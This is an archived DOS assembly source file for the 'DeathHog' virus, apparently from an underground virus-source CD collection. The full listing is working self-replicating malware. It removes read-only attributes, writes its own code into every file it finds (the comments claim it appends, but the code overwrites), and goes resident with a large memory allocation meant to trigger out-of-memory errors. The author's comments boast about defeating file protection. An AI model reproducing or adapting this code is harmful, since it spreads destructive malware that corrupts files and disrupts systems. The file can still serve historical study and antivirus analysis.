home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dhog.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  2.3 KB  |  65 lines

  1. ; DeathHog, (will defeat read-only files and appends itself to all
  2.  
  3. ; files)
  4.  
  5. ; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ 
  6.  
  7. ; r/w access, nuisance routines supplied by KOUCH
  8.  
  9. ;
  10.  
  11. ; Appended by Kouch, derived from DeathCow/Define (author unknown)
  12.  
  13.  
  14.  
  15.  
  16.  
  17. virus_length    equ     finish - start
  18.  
  19.  
  20.  
  21.     code    segment 'CODE'
  22.  
  23.         assume cs:code,ds:code,es:code,ss:code
  24.  
  25.  
  26.  
  27.         org     0100h
  28.  
  29.  
  30.  
  31. start           label   near
  32.  
  33.  
  34.  
  35. main            proc    near
  36.  
  37.         mov     ah,04Eh                 ; DOS find first file function
  38.  
  39.         mov     dx,offset file_spec      ; DX points to "*.*" - any file
  40.  
  41.         int     021h
  42.  
  43.  
  44.  
  45. infect_file :   mov     ah,43H                 ;the beginning of this
  46.  
  47.         mov     al,0                   ;routine gets the file's
  48.  
  49.         mov     dx,09Eh                ;attribute and changes it
  50.  
  51.         int     21H                    ;to r/w access so that when
  52.  
  53.                            ;it comes time to open the
  54.  
  55.         mov     ah,43H                 ;file, the virus can easily
  56.  
  57.         mov     al,1                   ;defeat files with a 'read only'
  58.  
  59.         mov     dx,09Eh                ;attribute. It leaves the file r/w,
  60.  
  61.         mov     cl,0                   ;because who checks that, anyway?
  62.  
  63.         int     21H
  64.  
  65.         
  66.  
  67.         mov     ax,03D01h              ; DOS open file function, write-only
  68.  
  69.         mov     dx,09Eh                ; DX points to the found file
  70.  
  71.         int     021h
  72.  
  73.  
  74.  
  75.         xchg    bx,ax                  ; BX holds file handle
  76.  
  77.  
  78.  
  79.         mov     ah,040h                ; DOS write to file function
  80.  
  81.         mov     cl,virus_length        ; CL holds # of bytes to write
  82.  
  83.         mov     dx,offset main         ; DX points to start of code
  84.  
  85.         int     021h
  86.  
  87.  
  88.  
  89.         mov     ah,03Eh                ; DOS close file function
  90.  
  91.         int     021h
  92.  
  93.  
  94.  
  95.         mov     ah,04Fh                 ; DOS find next file function
  96.  
  97.         int     021h
  98.  
  99.         jnc     infect_file             ; Infect next file, if found
  100.  
  101.  
  102.  
  103.         mov     ah,31h                  ;insert 480K memory balloon
  104.  
  105.         mov     dx,7530h                ;for nuisance value
  106.  
  107.         int     21H                     ;it's big enough so 'out of
  108.  
  109.                         ;memory' messages will start cropping up quickly
  110.  
  111.                            ; RETurn to DOS
  112.  
  113.  
  114.  
  115. file_spec       db      "*.*",0               ; Files to infect:  apped to all files
  116.  
  117. main            endp
  118.  
  119.  
  120.  
  121. finish          label   near
  122.  
  123.  
  124.  
  125.     code    ends
  126.  
  127.         end     main
  128.  
  129.